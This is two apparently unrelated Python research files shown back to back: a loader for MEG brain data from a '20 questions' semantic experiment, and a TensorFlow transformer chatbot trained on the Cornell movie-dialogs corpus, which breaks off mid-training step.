time_window_start_ind = np.searchsorted(times_from_onset_ms, baseline_time_window_lower_bound, side='left')
time_window_end_ind = time_window_start_ind + baseline_time_window_length
print('Including baseline data from time window %.2f - %.2f ms relative to question onset.' %
(baseline_time_window_lower_bound, baseline_time_window_lower_bound+baseline_time_window_length))
baseline_array = loaded_dict['question_array'][:, :, time_window_start_ind: time_window_end_ind]
# Average over the time dimension.
baseline_mean = np.mean(baseline_array, axis=-1)
baseline_std = np.std(baseline_array, axis=-1)
assert (baseline_mean.shape == baseline_array.shape[:2])
else:
baseline_mean, baseline_std = None, None
return times_from_onset_ms, question_array, question_order_dict, inv_question_order_dict, \
baseline_mean, baseline_std
def load_20questions_data_array(fname):
"""Loads 20 questions brain data.
The data is found in a .npy file, which contains a dictionary. See the "Returns" section for
the different entries in the dictionary which are returned as is.
Args:
fname: Path to brain data array.
Returns:
times_from_onset_ms: Times from stimulus onset.
data_array: An array with size num_stims x num_questions x num_channels x num_timepoints,
where the stims are in order of inv_stimulus_order_dict, the questions are in order of
inv_question_order_dict, and the times can be found in times_from_stim_onset.
stimulus_order_dict: An array containing the sampling time of each of the time points in the
brain data, relative to stimulus onset.
inv_stimulus_order_dict: Dictionary mapping from id to stimulus string.
question_order_dict: Dictionary mapping from question string to question id.
inv_question_order_dict: Dictionary mapping from question id to question string.
"""
with open(fname, "rb") as fin:
loaded_dict = np.load(fin, allow_pickle=True)
times_from_onset_ms = loaded_dict['times_from_onset_ms']
stimulus_order_dict = loaded_dict['stimulus_order_dict']
inv_stimulus_order_dict = loaded_dict['inv_stimulus_order_dict']
question_order_dict = loaded_dict['question_order_dict']
inv_question_order_dict = loaded_dict['inv_question_order_dict']
data_array = loaded_dict['data_array']
return times_from_onset_ms, data_array, stimulus_order_dict, inv_stimulus_order_dict, \
question_order_dict, inv_question_order_dict
def load_20questions_data(fname):
"""Loads the 20-questions data.
Args:
fname: Path to npz file containing the data.
Returns:
times_from_onset_ms: Experimental times where the data comes from (-250ms to 1750ms)
measured from onset of question or stimulus.
data_dict: A dictionary where keys correspond to the question text, values are dictionaries
with keys ['question_data' and stimulus_text], values data corresponding to the key
[nchannels, ntime_points].
"""
with open(fname, "rb") as fin:
loaded_dict = np.load(fin, allow_pickle=True)
times_from_onset_ms = loaded_dict.item()['times_from_onset_ms']
data_dict = loaded_dict.item()['data_dict']
return times_from_onset_ms, data_dict
def sort_questions_by_theme():
"""Returns a dictionary mapping a question text to an index, and the inverse dictionary."""
question_order_dict = {}
inv_question_order_dict = {}
sorted_questions_by_theme = [
'Can you hold it?',
'Can you hold it in one hand?',
'Can you pick it up?',
'Is it bigger than a loaf of bread?',
'Is it bigger than a microwave oven?',
'Is it bigger than a car?',
'Can it keep you dry?',
'Could you fit inside it?',
'Does it have at least one hole?',
'Is it hollow?',
'Is part of it made of glass?',
'Is it made of metal?',
'Is it manufactured?',
'Is it manmade?',
'Is it alive?',
'Was it ever alive?',
'Does it grow?',
'Does it have feelings?',
'Does it live in groups?',
'Is it hard to catch?']
for q, question in enumerate(sorted_questions_by_theme):
question_order_dict[question] = q
inv_question_order_dict[q] = question
return question_order_dict, inv_question_order_dict
def get_all_stimulus_text(semantic_features):
"""Returns all stimuli texts."""
return semantic_features['stimuli'][0:60]
def get_all_questions_text():
"""Return all question texts."""
questions_dict, _ = sort_questions_by_theme()
return np.array([question for question in questions_dict.keys()])
def get_feature_label(semantic_features, feat_ind):
"""Returns specific semantic feature label."""
return semantic_features['features'][feat_ind]
def get_feat_ind(semantic_features, feat):
"""Returns the index of a specific word feature / question."""
for i, f in enumerate(semantic_features['features']):
if f == feat:
return i
return None
def get_channel_lobe_inds():
channel_lobe_inds = OrderedDict()
lobe_names = ['R_frontal', 'L_frontal',
'R_temporal', 'L_temporal',
'R_parietal', 'L_parietal',
'R_occipital','L_occipital']
lobe_inds = [
[84, 85, 86, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104,
105, 106, 107, 108, 109, 110, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137,
150, 151, 152],
[3, 4, 5, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 48, 49, 50, 51, 52, 53, 54,
55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 69, 70, 71, 87, 88, 89],
[138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 153, 154, 155, 156, 157, 158,
159, 160, 161, 270, 271, 272, 273, 274, 275, 294, 295, 296, 297, 298, 299, 300, 301, 302,
303, 304, 305],
[0, 1, 2, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,
21, 22, 23, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176,
177, 178, 179],
[75, 76, 77, 78, 79, 80, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122,
123, 124, 125, 225, 226, 227, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257,
279, 280, 281],
[36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 66, 67, 68, 72, 73, 74,
81, 82, 83, 180, 181, 182, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209,
222, 223, 224],
[228, 229, 230, 237, 238, 239, 240, 241, 242, 258, 259, 260, 261, 262, 263, 264, 265, 266,
267, 268, 269, 276, 277, 278, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293],
[183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 210, 211, 212,
213, 214, 215, 216, 217, 218, 219, 220, 221, 231, 232, 233, 234, 235, 236, 243, 244, 245]]
for l, lobe in enumerate(lobe_inds):
for k in range(3):
sensors = [j for i, j in enumerate(lobe) if i % 3 == k]
for m in range(0, len(sensors), 2):
channel_lobe_inds[lobe_names[l]+'_'+str(k)+'_'+str(m)] = sensors[m:m+2]
return channel_lobe_inds
def get_stimulus_representation(semantic_features, stimulus_text, embedding_type='MTurk'):
"""Returns representation for stimulus_text as vector of features.
Args:
semantic_features: An npz object containing the semantic features.
stimulus_text: A string representing the stimulus of interest.
embedding_type: A string representing the word embedding type.
Returns:
A 1-D numpy array containing the stimulus embedding.
"""
if embedding_type in ['MTurk', 'augmented_MTurk', 'MTurk_learnt_attention',
'MTurk_learnt_attention_no_exp_questions']:
stimulus_ind = np.where(get_all_stimulus_text(semantic_features) == stimulus_text)[0][0]
return semantic_features['vectors'][stimulus_ind, :]
elif (embedding_type == 'MTurk_no_experiment_questions' or
embedding_type == 'augmented_MTurk_no_experiment_questions'):
# Find the experiment question indices in the stimuli vectors.
question_order_dict, inv_question_order_dict = sort_questions_by_theme()
num_questions = len(question_order_dict)
experiment_question_inds = []
for question in range(0, num_questions):
question_text = inv_question_order_dict[question]
question_ind = get_feat_ind(semantic_features, question_text.upper())
experiment_question_inds.append(question_ind)
to_keep_inds = []
for ind in range(0, 229):
if ind not in experiment_question_inds:
to_keep_inds.append(int(ind))
to_keep_inds = np.array(to_keep_inds)
stimulus_ind = np.where(get_all_stimulus_text(semantic_features) == stimulus_text)[0][0]
return semantic_features['vectors'][stimulus_ind, to_keep_inds]
elif embedding_type == 'word2vec':
with open('data/word2vec_dict.npz', 'rb') as fin:
word2vec_representations = np.load(fin, allow_pickle=True)
return word2vec_representations.item()[stimulus_text]
elif embedding_type == 'random':
import numpy.random
return numpy.random.rand(229)
elif embedding_type == 'BERT_emb':
embeddings = np.load('data/stim_rep_BERT_emb.npy')
stim_ind = np.where(semantic_features['stimuli'][:60] == stimulus_text)[0][0]
return embeddings[stim_ind, :]
else:
raise NameError('The provided embedding_type argument not recognized: only MTurk, '
'augmented_MTurk, word2vec, random, MTurk_learnt_attention, '
'MTurk_learnt_attention_no_exp_questions, MTurk_no_experiment_questions, BERT_emb '
'are supported.')
def get_question_representation(semantic_features, question_text, num_words=60):
"""Returns a vector representation for a provided question as vector of MTurk responses.
Each question representation is a vector of size num_words representing the answer to the
given question for num_words words. These are the first num_words words following the
first 60 words (because the first 60 are also the stimuli words).
Args:
semantic_features: Loaded npz object.
question_text: A string representing the question text.
num_words: Number of words to include in the question representation.
Returns:
Returns a vector of length num_words containing the question representation.
"""
# Leave out the first 60 words from the question representation.
word_inds = np.array(range(60, min(60+num_words, 1000)))
capitalized_question_text = question_text.upper()
question_ind = np.where(semantic_features['features'] == capitalized_question_text)[0][0]
return semantic_features['vectors'][word_inds, question_ind]
def construct_feature_to_feature_rdm(semantic_features, dist='cosine'):
"""Creates a similarity matrix between all word features (which also correspond to questions)."""
num_feats = len(semantic_features['features'])
feature_RDM = np.zeros([num_feats, num_feats])
sem_mat = [semantic_features['vectors'][60:120,feat_ind] for feat_ind in range(0, num_feats)]
if dist == 'dotproduct':
for f, feat in enumerate(sem_mat):
for f2, feat2 in enumerate(sem_mat):
feature_RDM[f, f2] = np.dot(feat, feat2)
else:
import scipy.spatial.distance as spd
feature_RDM = 1 - spd.squareform(spd.pdist(np.array(sem_mat), dist))
return feature_RDM
def get_augmented_feature_weights(semantic_features, exclude_exp_qs=True, dist='cosine'):
"""Returns dict of weights that the word features need to be augmented by for a given question
keys of dict are the question texts, values are the weights weights correspond to similairties
between word feature/question.
Args:
semantic_features:
exclude_exp_qs: Boolean specifying whether to exclude the experiment questions.
dist: Distance metric to use. Defaults to cosine.
Returns:
augmented_feature_weights
"""
from scipy.special import softmax
feature_RDM = construct_feature_to_feature_rdm(semantic_features, dist=dist)
question_order_dict, inv_question_order_dict = sort_questions_by_theme()
num_questions = len(question_order_dict)
augmented_feature_weights = dict()
question_inds = [get_feat_ind(semantic_features, inv_question_order_dict[question].upper()) for question in range(0,num_questions)]
non_question_inds = [ind for ind in range(feature_RDM.shape[1]) if ind not in question_inds]
for question in range(0,num_questions):
question_text = inv_question_order_dict[question]
question_ind = get_feat_ind(semantic_features, question_text.upper())
if exclude_exp_qs:
augmented_feature_weights[question_text] = softmax(feature_RDM[question_ind,:][non_question_inds])
else:
augmented_feature_weights[question_text] = softmax(feature_RDM[question_ind,:])
return augmented_feature_weights
def load_all_data(semantic_feature_path, subject_id, subj_data_fname_data_array,
subj_data_fname_question_array, space_downsample, time_window_lower_bound,
time_window_length, word_embedding_type='MTurk', question_embedding_type='MTurk',
num_words_question_representation=60, question_time_window_lower_bound=None,
question_time_window_length=None, normalize_to_baseline=False, brain_scaling=None,
avg_time_window_length=None):
"""
Loads the stimuli information, question information and brain data.
Args:
semantic_feature_path: Path to the semantic features .npz file.
subject_id: Id of the subject for which to load the data.
subj_data_fname_data_array: Path to the subject data .npz file that contains data arrays.
subj_data_fname_all: Path to the subject data .npz file.
space_downsample: Whether to average over sensors within each predefined lobe.
time_window_lower_bound: We select trial data starting at the time point
`time_window_lower_bound` relative to the trial onset.
time_window_length: We select trial data for a duration of `time_window_length` ms.
embedding_type: Type of representation we use for the stimuli (can be 'MTurk','word2vec',
'augmented_MTurk', 'MTurk_no_experiment_questions',
'augmented_MTurk_no_experiment_questions', 'random','BERT_emb').
num_words_question_representation: We represent a question semantically by the scores the
first `num_words_question_representation` words get as answers to this question.
question_time_window_lower_bound: Question data start time relative to question onset, in ms.
question_time_window_length: Question data duration to consider, in ms.
avg_time_window_length: Integer specifying to average data over the time dimension in
windows of `avg_time_window_length` elements.
Returns: A triple (stim_id_to_class, question_id_to_class, trials), where
stim_id_to_class is a dictionary mapping from word id to a Word object.
question_id_to_class is a dictionary mapping from question id to a Question object.
trials is a list of WordTrial objects.
"""
# Load semantic features in an npz file.
print('Loading semantic features...')
start_time = time.time()
semantic_features = np.load(open(semantic_feature_path, "rb"))
print('Loading semantic features done. Took %.2f seconds.' % (time.time() - start_time))
# Get all possible stimulus texts, in an array of strings of length 60.
print('Loading stimuli text and semantic features...')
start_time = time.time()
all_stimulus_text = get_all_stimulus_text(semantic_features)
stim_id_to_class = OrderedDict()
for stim_ind, current_stimulus_text in enumerate(all_stimulus_text):
# Get semantic features for the current stimulus, and create the corresponding Word object.
feat = get_stimulus_representation(
semantic_features, current_stimulus_text, word_embedding_type)
stim_id_to_class[stim_ind] = Word(
id=stim_ind,
text=current_stimulus_text,
semantic_features=feat)
print('Loading stimuli done. Took %.2f seconds.' % (time.time() - start_time))
# Load all data for the current subject.
print('Loading data for subject %s..' % subject_id)
start_time = time.time()
times_from_onset_ms, data_array, stimulus_order_dict, inv_stimulus_order_dict, \
question_order_dict, inv_question_order_dict = load_20questions_data_array(subj_data_fname_data_array)
if space_downsample:
print('Downsampling data in space..')
channel_inds_dict = get_channel_lobe_inds()
ds_data_array = []
for lobe_inds in channel_inds_dict.values():
ds_data_array.append(np.mean(data_array[:, :, lobe_inds, :], axis=2))
data_array = np.stack(ds_data_array, axis=2)
print('Done downsampling data in space. New dimensions:{}'.format(data_array.shape))
# Load question brain data.
_, question_array, question_order_dict, inv_question_order_dict, baseline_mean, baseline_std = \
load_20questions_question_array(
subj_data_fname_question_array,
time_window_lower_bound=question_time_window_lower_bound,
time_window_length=question_time_window_length)
if brain_scaling is not None:
question_array = question_array * brain_scaling
data_array = data_array * brain_scaling
# Potentially normalize the question brain activity to baseline.
if normalize_to_baseline:
print('Normalizing all data to baseline before question...')
baseline_std[baseline_std == 0.0] = 1.0
question_array = (question_array - baseline_mean[:, :, None]) / baseline_std[:, :, None]
data_array = (data_array - baseline_mean[:, :, None]) / baseline_std[:, :, None]
question_id_to_data = OrderedDict([(q_id, question_array[i])
for q_id, i in enumerate(inv_question_order_dict.keys())])
print('Loading data done. Took %.2f seconds.' % (time.time() - start_time))
# Get question representations using the 60 experiment nouns.
print('Loading question representations...')
question_id_to_class = OrderedDict()
question_id_to_trial = OrderedDict()
start_time = time.time()
num_questions = len(inv_question_order_dict)
for question_ind in range(0, num_questions):
current_question_text = inv_question_order_dict[question_ind]
# Load semantic features for a question.
if question_embedding_type == 'MTurk':
current_question_representation = get_question_representation(
semantic_features, current_question_text, num_words=num_words_question_representation)
elif question_embedding_type == 'one-hot':
current_question_representation = np.zeros(60)
current_question_representation[question_ind] = 1
elif question_embedding_type == 'BERT_pooled':
pooled = np.load('data/quest_rep_BERT_pooled.npy')
current_question_representation = pooled[question_ind,:]
elif question_embedding_type == 'BERT_CLS':
pooled = np.load('data/quest_rep_BERT_CLS_last_layer.npy')
current_question_representation = pooled[question_ind, :]
else:
raise NameError('The specified question_embedding_type argument not recognized: '
'only MTurk and one-hot supported.')
question_id_to_class[question_ind] = Question(
id=question_ind,
text=current_question_text,
semantic_features=current_question_representation)
# Load brain activity for a question.
question_id_to_trial[question_ind] = QuestionTrial(
question=question_id_to_class[question_ind],
question_brain_activity=question_id_to_data[question_ind])
print('Loading question done. Took %.2f seconds.' % (time.time() - start_time))
# Get trial brain activity data.
start_time = time.time()
time_window_start_ind = np.searchsorted(times_from_onset_ms, time_window_lower_bound, side='left')
print('Including stimuli data from time window: %.2f - %.2f ms' %
(time_window_lower_bound, time_window_lower_bound+time_window_length))
trials = []
for stim_ind, current_stimulus_text in enumerate(all_stimulus_text):
# Load all trials for this stimulus in an array of shape (num_questions, num_sensors, time)
current_stimulus_data = data_array[stim_ind, :, :, time_window_start_ind:time_window_start_ind+time_window_length]
# Average data in windows over the time dimension.
if avg_time_window_length:
current_stimulus_data = average_over_time(current_stimulus_data, avg_time_window_length)
for question_id in range(current_stimulus_data.shape[0]):
trials.append(WordTrial(
word=stim_id_to_class[stim_ind],
question_trial=question_id_to_trial[question_id],
brain_activity=current_stimulus_data[question_id]))
print('Preparing trials done. Took %.2f seconds.' % (time.time() - start_time))
return stim_id_to_class, question_id_to_class, trials, question_id_to_trial
def average_over_time(data, window_length):
"""Average brain data over time windows of provided length."""
num_questions, num_channels, num_time = data.shape
assert num_time > window_length
num_time_new = num_time // window_length
averaged_data = np.zeros((num_questions, num_channels, num_time_new))
for i in range(num_time_new):
averaged_data[:, :, i] = np.mean(
data[:, :, window_length*i:window_length*(i+1)], axis=-1)
return averaged_data
def get_sensor_locations(path, num_sensors=306):
"""Load the locations of the MEG sensors."""
assert num_sensors in [102, 306]
with open(path, 'r') as f:
locs = csv.reader(f, delimiter=',')
loc306 = np.array([
[float(w1[0].split(' ')[1]), float(w1[0].split(' ')[2])]
for w1 in locs])
if num_sensors == 306:
return loc306
loc102 = loc306[::3]
return loc102
| python |
import codecs
import io
import os
import re
import time
import zipfile
import numpy as np
import requests
import tensorflow as tf
from keras_preprocessing.text import Tokenizer
from tensorflow.keras.preprocessing.sequence import pad_sequences
os.environ['CUDA_VISIBLE_DEVICES'] = '1'
BATCH_SIZE = 128
MAX_LENGTH = 40
########################################################################################################################
########################################### DATA PREPARATION ###########################################################
########################################################################################################################
url = 'http://www.cs.cornell.edu/~cristian/data/cornell_movie_dialogs_corpus.zip'
r = requests.get(url)
z = zipfile.ZipFile(io.BytesIO(r.content))
z.extractall()
def get_all_conversations():
all_conversations = []
with codecs.open("./cornell movie-dialogs corpus/movie_lines.txt",
"rb",
encoding="utf-8",
errors="ignore") as f:
lines = f.read().split("\n")
for line in lines:
all_conversations.append(line.split(" +++$+++ "))
return all_conversations
def get_all_sorted_chats(all_conversations):
all_chats = {}
# get only first 10000 conversations from dataset because whole dataset will take 9.16 TiB of RAM
for tokens in all_conversations[:10000]:
if len(tokens) > 4:
all_chats[int(tokens[0][1:])] = tokens[4]
return sorted(all_chats.items(), key=lambda x: x[0])
def clean_text(text_to_clean):
res = text_to_clean.lower()
res = re.sub(r"i'm", "i am", res)
res = re.sub(r"he's", "he is", res)
res = re.sub(r"she's", "she is", res)
res = re.sub(r"it's", "it is", res)
res = re.sub(r"that's", "that is", res)
res = re.sub(r"what's", "what is", res)
res = re.sub(r"where's", "where is", res)
res = re.sub(r"how's", "how is", res)
res = re.sub(r"\'ll", " will", res)
res = re.sub(r"\'ve", " have", res)
res = re.sub(r"\'re", " are", res)
res = re.sub(r"\'d", " would", res)
res = re.sub(r"\'re", " are", res)
res = re.sub(r"won't", "will not", res)
res = re.sub(r"can't", "cannot", res)
res = re.sub(r"n't", " not", res)
res = re.sub(r"n'", "ng", res)
res = re.sub(r"'bout", "about", res)
res = re.sub(r"'til", "until", res)
res = re.sub(r"[-()\"#/@;:<>{}`+=~|.!?,]", "", res)
return res
def get_conversation_dict(sorted_chats):
conv_dict = {}
counter = 1
conv_ids = []
for i in range(1, len(sorted_chats) + 1):
if i < len(sorted_chats):
if (sorted_chats[i][0] - sorted_chats[i - 1][0]) == 1:
if sorted_chats[i - 1][1] not in conv_ids:
conv_ids.append(sorted_chats[i - 1][1])
conv_ids.append(sorted_chats[i][1])
elif (sorted_chats[i][0] - sorted_chats[i - 1][0]) > 1:
conv_dict[counter] = conv_ids
conv_ids = []
counter += 1
else:
continue
return conv_dict
def get_clean_q_and_a(conversations_dictionary):
ctx_and_target = []
for current_conv in conversations_dictionary.values():
if len(current_conv) % 2 != 0:
current_conv = current_conv[:-1]
for i in range(0, len(current_conv), 2):
ctx_and_target.append((current_conv[i], current_conv[i + 1]))
context, target = zip(*ctx_and_target)
context_dirty = list(context)
clean_questions = list()
for i in range(len(context_dirty)):
clean_questions.append(clean_text(context_dirty[i]))
target_dirty = list(target)
clean_answers = list()
for i in range(len(target_dirty)):
clean_answers.append('SOS '
+ clean_text(target_dirty[i])
+ ' EOS')
return clean_questions, clean_answers
conversations = get_all_conversations()
total = len(conversations)
print("Total conversations in dataset: {}".format(total))
all_sorted_chats = get_all_sorted_chats(conversations)
conversation_dictionary = get_conversation_dict(all_sorted_chats)
questions, answers = get_clean_q_and_a(conversation_dictionary)
print("Questions in dataset: {}".format(len(questions)))
print("Answers in dataset: {}".format(len(answers)))
########################################################################################################################
############################################# MODEL TRAINING ###########################################################
########################################################################################################################
target_regex = '!"#$%&()*+,-./:;<=>?@[\]^_`{|}~\t\n\'0123456789'
tokenizer = Tokenizer(filters=target_regex)
tokenizer.fit_on_texts(questions + answers)
VOCAB_SIZE = len(tokenizer.word_index) + 1
print('Vocabulary size : {}'.format(VOCAB_SIZE))
tokenized_questions = tokenizer.texts_to_sequences(questions)
encoder_input_data = pad_sequences(tokenized_questions,
maxlen=MAX_LENGTH,
padding='post')
print(encoder_input_data.shape)
tokenized_answers = tokenizer.texts_to_sequences(answers)
decoder_input_data = pad_sequences(tokenized_answers,
maxlen=MAX_LENGTH,
padding='post')
print(decoder_input_data.shape)
def filter_max_length(x, y, max_length=MAX_LENGTH):
return tf.logical_and(tf.size(x) <= max_length, tf.size(y) <= max_length)
def get_angles(pos, i, d_model):
angle_rates = 1 / np.power(10000, (2 * (i // 2)) / np.float32(d_model))
return pos * angle_rates
def positional_encoding(position, d_model):
angle_rads = get_angles(np.arange(position)[:, np.newaxis], np.arange(d_model)[np.newaxis, :], d_model)
angle_rads[:, 0::2] = np.sin(angle_rads[:, 0::2])
angle_rads[:, 1::2] = np.cos(angle_rads[:, 1::2])
pos_encoding = angle_rads[np.newaxis, ...]
return tf.cast(pos_encoding, dtype=tf.float32)
def create_padding_mask(seq):
seq = tf.cast(tf.math.equal(seq, 0), tf.float32)
return seq[:, tf.newaxis, tf.newaxis, :]
def create_look_ahead_mask(size):
mask = 1 - tf.linalg.band_part(tf.ones((size, size)), -1, 0)
return mask
def scaled_dot_product_attention(q, k, v, mask):
matmul_qk = tf.matmul(q, k, transpose_b=True)
dk = tf.cast(tf.shape(k)[-1], tf.float32)
scaled_attention_logits = matmul_qk / tf.math.sqrt(dk)
if mask is not None:
scaled_attention_logits += (mask * -1e9)
attention_weights = tf.nn.softmax(scaled_attention_logits, axis=-1)
output = tf.matmul(attention_weights, v)
return output, attention_weights
class MultiHeadAttention(tf.keras.layers.Layer):
def __init__(self, d_model, num_heads):
super(MultiHeadAttention, self).__init__()
self.num_heads = num_heads
self.d_model = d_model
assert d_model % self.num_heads == 0
self.depth = d_model // self.num_heads
self.wq = tf.keras.layers.Dense(d_model)
self.wk = tf.keras.layers.Dense(d_model)
self.wv = tf.keras.layers.Dense(d_model)
self.dense = tf.keras.layers.Dense(d_model)
def split_heads(self, x, batch_size):
x = tf.reshape(x, (batch_size, -1, self.num_heads, self.depth))
return tf.transpose(x, perm=[0, 2, 1, 3])
def call(self, v, k, q, mask):
batch_size = tf.shape(q)[0]
q = self.wq(q)
k = self.wk(k)
v = self.wv(v)
q = self.split_heads(q, batch_size)
k = self.split_heads(k, batch_size)
v = self.split_heads(v, batch_size)
scaled_attention, attention_weights = scaled_dot_product_attention(q, k, v, mask)
scaled_attention = tf.transpose(scaled_attention, perm=[0, 2, 1, 3])
concat_attention = tf.reshape(scaled_attention, (batch_size, -1, self.d_model))
output = self.dense(concat_attention)
return output, attention_weights
def point_wise_feed_forward_network(d_model, dff):
return tf.keras.Sequential([
tf.keras.layers.Dense(dff, activation='relu'),
tf.keras.layers.Dense(d_model)
])
class EncoderLayer(tf.keras.layers.Layer):
def __init__(self, d_model, num_heads, dff, rate=0.1):
super(EncoderLayer, self).__init__()
self.mha = MultiHeadAttention(d_model, num_heads)
self.ffn = point_wise_feed_forward_network(d_model, dff)
self.layernorm1 = tf.keras.layers.LayerNormalization(epsilon=1e-6)
self.layernorm2 = tf.keras.layers.LayerNormalization(epsilon=1e-6)
self.dropout1 = tf.keras.layers.Dropout(rate)
self.dropout2 = tf.keras.layers.Dropout(rate)
def call(self, x, training, mask):
attn_output, _ = self.mha(x, x, x, mask)
attn_output = self.dropout1(attn_output, training=training)
out1 = self.layernorm1(x + attn_output)
ffn_output = self.ffn(out1)
ffn_output = self.dropout2(ffn_output, training=training)
out2 = self.layernorm2(out1 + ffn_output)
return out2
class DecoderLayer(tf.keras.layers.Layer):
def __init__(self, d_model, num_heads, dff, rate=0.1):
super(DecoderLayer, self).__init__()
self.mha1 = MultiHeadAttention(d_model, num_heads)
self.mha2 = MultiHeadAttention(d_model, num_heads)
self.ffn = point_wise_feed_forward_network(d_model, dff)
self.layernorm1 = tf.keras.layers.LayerNormalization(epsilon=1e-6)
self.layernorm2 = tf.keras.layers.LayerNormalization(epsilon=1e-6)
self.layernorm3 = tf.keras.layers.LayerNormalization(epsilon=1e-6)
self.dropout1 = tf.keras.layers.Dropout(rate)
self.dropout2 = tf.keras.layers.Dropout(rate)
self.dropout3 = tf.keras.layers.Dropout(rate)
def call(self, x, enc_output, training, look_ahead_mask, padding_mask):
attn1, attn_weights_block1 = self.mha1(x, x, x, look_ahead_mask)
attn1 = self.dropout1(attn1, training=training)
out1 = self.layernorm1(attn1 + x)
attn2, attn_weights_block2 = self.mha2(enc_output, enc_output, out1, padding_mask)
attn2 = self.dropout2(attn2, training=training)
out2 = self.layernorm2(attn2 + out1)
ffn_output = self.ffn(out2)
ffn_output = self.dropout3(ffn_output, training=training)
out3 = self.layernorm3(ffn_output + out2)
return out3, attn_weights_block1, attn_weights_block2
class Encoder(tf.keras.layers.Layer):
def __init__(self, num_layers, d_model, num_heads, dff, input_vocab_size,
maximum_position_encoding, rate=0.1):
super(Encoder, self).__init__()
self.d_model = d_model
self.num_layers = num_layers
self.embedding = tf.keras.layers.Embedding(input_vocab_size, d_model)
self.pos_encoding = positional_encoding(maximum_position_encoding, self.d_model)
self.enc_layers = [EncoderLayer(d_model, num_heads, dff, rate) for _ in range(num_layers)]
self.dropout = tf.keras.layers.Dropout(rate)
def call(self, x, training, mask):
seq_len = tf.shape(x)[1]
x = self.embedding(x) # (batch_size, input_seq_len, d_model)
x *= tf.math.sqrt(tf.cast(self.d_model, tf.float32))
x += self.pos_encoding[:, :seq_len, :]
x = self.dropout(x, training=training)
for i in range(self.num_layers):
x = self.enc_layers[i](x, training, mask)
return x
class Decoder(tf.keras.layers.Layer):
def __init__(self, num_layers, d_model, num_heads, dff, target_vocab_size,
maximum_position_encoding, rate=0.1):
super(Decoder, self).__init__()
self.d_model = d_model
self.num_layers = num_layers
self.embedding = tf.keras.layers.Embedding(target_vocab_size, d_model)
self.pos_encoding = positional_encoding(maximum_position_encoding, d_model)
self.dec_layers = [DecoderLayer(d_model, num_heads, dff, rate) for _ in range(num_layers)]
self.dropout = tf.keras.layers.Dropout(rate)
def call(self, x, enc_output, training,
look_ahead_mask, padding_mask):
seq_len = tf.shape(x)[1]
attention_weights = {}
x = self.embedding(x) # (batch_size, target_seq_len, d_model)
x *= tf.math.sqrt(tf.cast(self.d_model, tf.float32))
x += self.pos_encoding[:, :seq_len, :]
x = self.dropout(x, training=training)
for i in range(self.num_layers):
x, block1, block2 = self.dec_layers[i](x, enc_output, training, look_ahead_mask, padding_mask)
attention_weights['decoder_layer{}_block1'.format(i + 1)] = block1
attention_weights['decoder_layer{}_block2'.format(i + 1)] = block2
return x, attention_weights
class Transformer(tf.keras.Model):
def __init__(self, num_layers, d_model, num_heads, dff, input_vocab_size,
target_vocab_size, pe_input, pe_target, rate=0.1):
super(Transformer, self).__init__()
self.encoder = Encoder(num_layers, d_model, num_heads, dff,
input_vocab_size, pe_input, rate)
self.decoder = Decoder(num_layers, d_model, num_heads, dff,
target_vocab_size, pe_target, rate)
self.final_layer = tf.keras.layers.Dense(target_vocab_size)
def call(self, inp, tar, training, enc_padding_mask,
look_ahead_mask, dec_padding_mask):
enc_output = self.encoder(inp, training, enc_padding_mask)
dec_output, attention_weights = self.decoder(tar, enc_output, training, look_ahead_mask, dec_padding_mask)
final_output = self.final_layer(dec_output)
return final_output, attention_weights
num_layers = 6
d_model = 256
dff = 1024
num_heads = 8
input_vocab_size = VOCAB_SIZE
target_vocab_size = VOCAB_SIZE
dropout_rate = 0.1
def batch_generator(batch_size):
n_samples = encoder_input_data.shape[0]
indices = np.arange(n_samples)
np.random.shuffle(indices)
for start in range(0, n_samples, batch_size):
end = min(start + batch_size, n_samples)
batch_idx = indices[start:end]
yield encoder_input_data[batch_idx], decoder_input_data[batch_idx]
class CustomSchedule(tf.keras.optimizers.schedules.LearningRateSchedule):
def __init__(self, d_model, warmup_steps=4000):
super(CustomSchedule, self).__init__()
self.d_model = d_model
self.d_model = tf.cast(self.d_model, tf.float32)
self.warmup_steps = warmup_steps
def __call__(self, step):
arg1 = tf.math.rsqrt(step)
arg2 = step * (self.warmup_steps ** -1.5)
return tf.math.rsqrt(self.d_model) * tf.math.minimum(arg1, arg2)
learning_rate = CustomSchedule(d_model)
optimizer = tf.keras.optimizers.Adam(learning_rate, beta_1=0.9, beta_2=0.98, epsilon=1e-9)
loss_object = tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True, reduction='none')
def loss_function(real, pred):
mask = tf.math.logical_not(tf.math.equal(real, 0))
loss_ = loss_object(real, pred)
mask = tf.cast(mask, dtype=loss_.dtype)
loss_ *= mask
return tf.reduce_sum(loss_) / tf.reduce_sum(mask)
train_loss = tf.keras.metrics.Mean(name='train_loss')
transformer = Transformer(num_layers, d_model, num_heads, dff,
input_vocab_size, target_vocab_size,
pe_input=input_vocab_size,
pe_target=target_vocab_size,
rate=dropout_rate)
def create_masks(input, target):
enc_padding_mask = create_padding_mask(input)
dec_padding_mask = create_padding_mask(input)
look_ahead_mask = create_look_ahead_mask(tf.shape(target)[1])
dec_target_padding_mask = create_padding_mask(target)
combined_mask = tf.maximum(dec_target_padding_mask, look_ahead_mask)
return enc_padding_mask, combined_mask, dec_padding_mask
EPOCHS = 700
train_step_signature = [
tf.TensorSpec(shape=(None, None), dtype=tf.int64),
tf.TensorSpec(shape=(None, None), dtype=tf.int64),
]
@tf.function(input_signature=train_step_signature)
def train_step(inp, tar):
tar_inp = tar[:, :-1]
tar_real = tar[:, 1:]
enc_padding_mask, combined_mask, dec_padding_mask = create_masks(inp, tar_inp)
with tf.GradientTape() as tape:
predictions, _ = transformer(inp, tar_inp,
True,
enc_padding_mask,
combined_mask,
dec_padding_mask)
loss = loss_function(tar_real, predictions)
